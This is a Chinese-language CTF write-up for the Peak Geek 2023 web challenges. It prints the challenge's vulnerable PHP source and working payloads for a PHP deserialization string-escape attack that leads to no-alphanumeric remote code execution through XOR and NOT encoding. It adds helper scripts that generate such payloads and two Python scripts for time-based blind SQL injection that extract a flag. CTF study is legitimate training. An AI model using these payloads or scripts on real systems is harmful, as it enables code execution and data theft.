巅峰极客2023 WriteUp

WEB

unserialize

https://www.yuque.com/dat0u/ctf/nbi10ws81g2b7wpo 大佬博客

复现环境搭建

docker run -it -d -p 12345:80 -e FLAG=flag{Congrational_you_get_1t!} lxxxin/dfjk2023_unserialize	

首先下载WWW.zip包发现源码

index.php:

<?php
include_once "my.php";
include_once "function.php";
include_once "login.html";	
session_start();

if (isset($_POST['root']) && isset($_POST['pwd'])) {  //
	$root = $_POST['root'];
	$pwd = $_POST['pwd'];
	$login = new push_it($root, $pwd);
	$_SESSION['login'] = b(serialize($login));  //要逃逸 因为这里被 serialize反序列化掉了  //进行传参
	die('<script>location.href=`./login.php`;</script>'); 
}
?>

my.php

分析my.php的代码可以发现这里有危险类pull_it类,$preg_mach可以利用XOR绕过实现getshell

<?php

class pull_it {
	private $x;
	function __construct($xx) {
		$this->x = $xx;
	}

	function __destruct() {
		if ($this->x) {
			$preg_match = 'return preg_match("/[A-Za-z0-9]+/i", $this->x);';  //无数字字母 RCE 亦或绕过	
		if (eval($preg_match)) {
			echo $preg_match;
			exit("save_waf");
		}

		@eval($this->x);
		}
	}	
}
//O:7:"push_it":2:{s:13:" push_it root";s:1:"1";s:12:" push_it pwd";s:93:"("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%03%01%08%00%00%06%00"^"%60%60%7c%20%2f%60%2a");";}
class push_it {
	private $root;
	private $pwd;

	function __construct($root, $pwd){
		$this->root = $root;
		$this->pwd = $pwd;
	}
	
		function __destruct(){
		unset($this->root);
		unset($this->pwd);
	}

	function __toString(){
		if (isset($this->root) && isset($this->pwd)){
			echo "<h1>Hello, $this->root</h1>";      //
		}
		else {
			echo "<h1>out!</h1>";
		}
	}
}
?>

function.php

看这里想到了php反序列化逃逸,这题主要利用a函数实现逃逸

<?php
function b($data) {
	return str_replace('aaaa', 'bbbbbb', $data);  //             +2
}

function a($data) {
	return str_replace('bbbbbb', 'aaaa', $data);  //bbbbbb  --- aaaa -2
}
?>

login.php

<?php
session_start();
include_once "my.php";
include_once "function.php";

if (!isset($_SESSION['login'])) {	
	echo '<script>alert(`Login First!`);location.href=`./index.php`;</script>';
}

$login = @unserialize(a($_SESSION['login']));  		// session 逃逸 2 len 传参
echo $login;
?>

查看了这个代码逻辑,感觉可以用对象逃逸来做,然后XOR绕过实现无数字字母RCE,但是这题光逃逸还是不行的,因为这里__tostring__没有返回字符串报了一个错误

一 .我们可以利用Fast Destruction数组绕过一下

https://boogipop.com/2023/07/21/%E5%B7%85%E5%B3%B0%E6%9E%81%E5%AE%A2%202023%20Web%20Write%20Up/#unserialize

补一下Fast Destruction的姿势:

https://hackerqwq.github.io/2021/08/29/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%B0%8F%E6%8A%80%E5%B7%A7%E4%B9%8BFast-Destruct/

function __toString(){
		if (isset($this->root) && isset($this->pwd)){
			echo "<h1>Hello, $this->root</h1>";      //
		}
		else {
			echo "<h1>out!</h1>";
		}
	}
}

payload:

root=bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb&pwd=1";s:12:"%00push_it%00pwd";a:2:{i:1;O:7:"pull_it":1:{s:10:"%00pull_it%00x";s:22:"(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98);";};i:1;N;}

但是我看了联队师傅的payload没有用到这个技巧直接绕过了,疑惑:

root=bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb&pwd=%22%3Bs%3A12%3A%22%00push_it%00pwd%22%3BO%3A7%3A%22pull_it%22%3A1%3A%7Bs%3A10%3A%22%00pull_it%00x%22%3Bs%3A20%3A%22%28%7E%8C%86%8C%8B%9A%92%29%28%7E%9C%9E%8B%DF%D0%99%D5%29%3B%22%3B%7D

然后带着session触发/login.php下的a函数和unserialize即可拿到flag

flag{8382843b-d3e8-72fc-6625-ba5269953b23}

后面贴一下XOR的脚本,然后好多人用的取反绕过也可以实现

用xor亦或绕过正则表达式

xor.php脚本生成合法的字符

<?php

/*author yu22x*/

$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {   //亦或操作
    for ($j=0; $j <256 ; $j++) {
        if($i<16){
            $hex_i='0'.dechex($i);
        }
        else{
            $hex_i=dechex($i);
        }
        if($j<16){
            $hex_j='0'.dechex($j);
        }
        else{
            $hex_j=dechex($j);
        }
        $preg = '/[A-Za-z0-9]+/i'; //根据题目给的正则表达式修改即可
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
            echo "";
        }

        else{
            $a='%'.$hex_i;
            $b='%'.$hex_j;
            $c=(urldecode($a)^urldecode($b));
            if (ord($c)>=32&ord($c)<=126) {
                $contents=$contents.$c." ".$a." ".$b."\n";
            }
        }

    }
}
fwrite($myfile,$contents);  // 写文件操作
fclose($myfile);

python脚本生成命令执行

import requests
import urllib
from sys import *
import os


def action(arg):
    s1 = ""
    s2 = ""
    for i in arg:
        f = open("xor_rce.txt", "r")   #
        while True:
            t = f.readline()   #
            if t == "":
                break
            if t[0] == i:
                # print(i)
                s1 += t[2:5]  # 切片
                s2 += t[6:9]  #
                break
        f.close()
    output = "(\"" + s1 + "\"^\"" + s2 + "\")"
    return (output)   ##


while True:
    param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"
    print(param)

hellosql

这题没有找到复现环境就简单的看一下吧

	import requests

# sql = "select group_concat(table_name) from information_schema.tables where table_schema=database()" #Flllag
# sql = "select group_concat(column_name) from information_schema.columns where table_name='Flllag' and table_schema=database()" #Flagg
sql = "select group_concat(Flagg) from Flllag"
j = 36
flag = "flag{h3Ltx545LiDwpjQ8Ij1x241wIxS4fa"


while True:
    for i in range(32, 128):
        burp0_url = "http://web-bd1bbd084b.challenge.xctf.org.cn/index.php?id=1'||case+when(ascii(substr(({}),{},1))={})then(select sum('1')from information_schema.tables A,information_schema.columns B,information_schema.columns C)end-- ".format(sql, j, i)
        print burp0_url
        try:
            requests.get(burp0_url, timeout=3)
            if i == 127:
                j = -1
        except:
            flag += chr(i)
            print flag
            j += 1
            break

    if j == -1:
        print flag
        exit(0)

import requests,string,time
#select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA
#select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA = 'xxx'
#select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA = 'xxx' and TABLE_NAME = 'xxx'
#group_concat(table_name) from information_schema.tables where table_schema=
dic=string.printable.replace("*","")
url='http://web-d7d8079aa0.challenge.xctf.org.cn/?id='
p1='''case when({}) then (select sum("A") FROM information_schema.columns A,information_schema.tables B,information_schema.tables C) else 1 end||'1'='1'''
string=''
for i in range(1,100):
    for j in dic:
        exp=p1.format("((substr(({}),{},1)))=BINARY('{}')").format("select Flagg from Flllag",str(i),j)
        data = "1'||{}".format(exp)
        #print(data)
        now=time.time()
        try:
            r=requests.get(url+data,timeout=3)
            if "nonono" in r.text:
                print(r.text)
                print(data)
                print("baned")
                exit(0)
        except Exception as e:
            pass
       # print(time.time() - now)
        if time.time() - now > 3:
            string+=j
            print(string)
            break
print(string)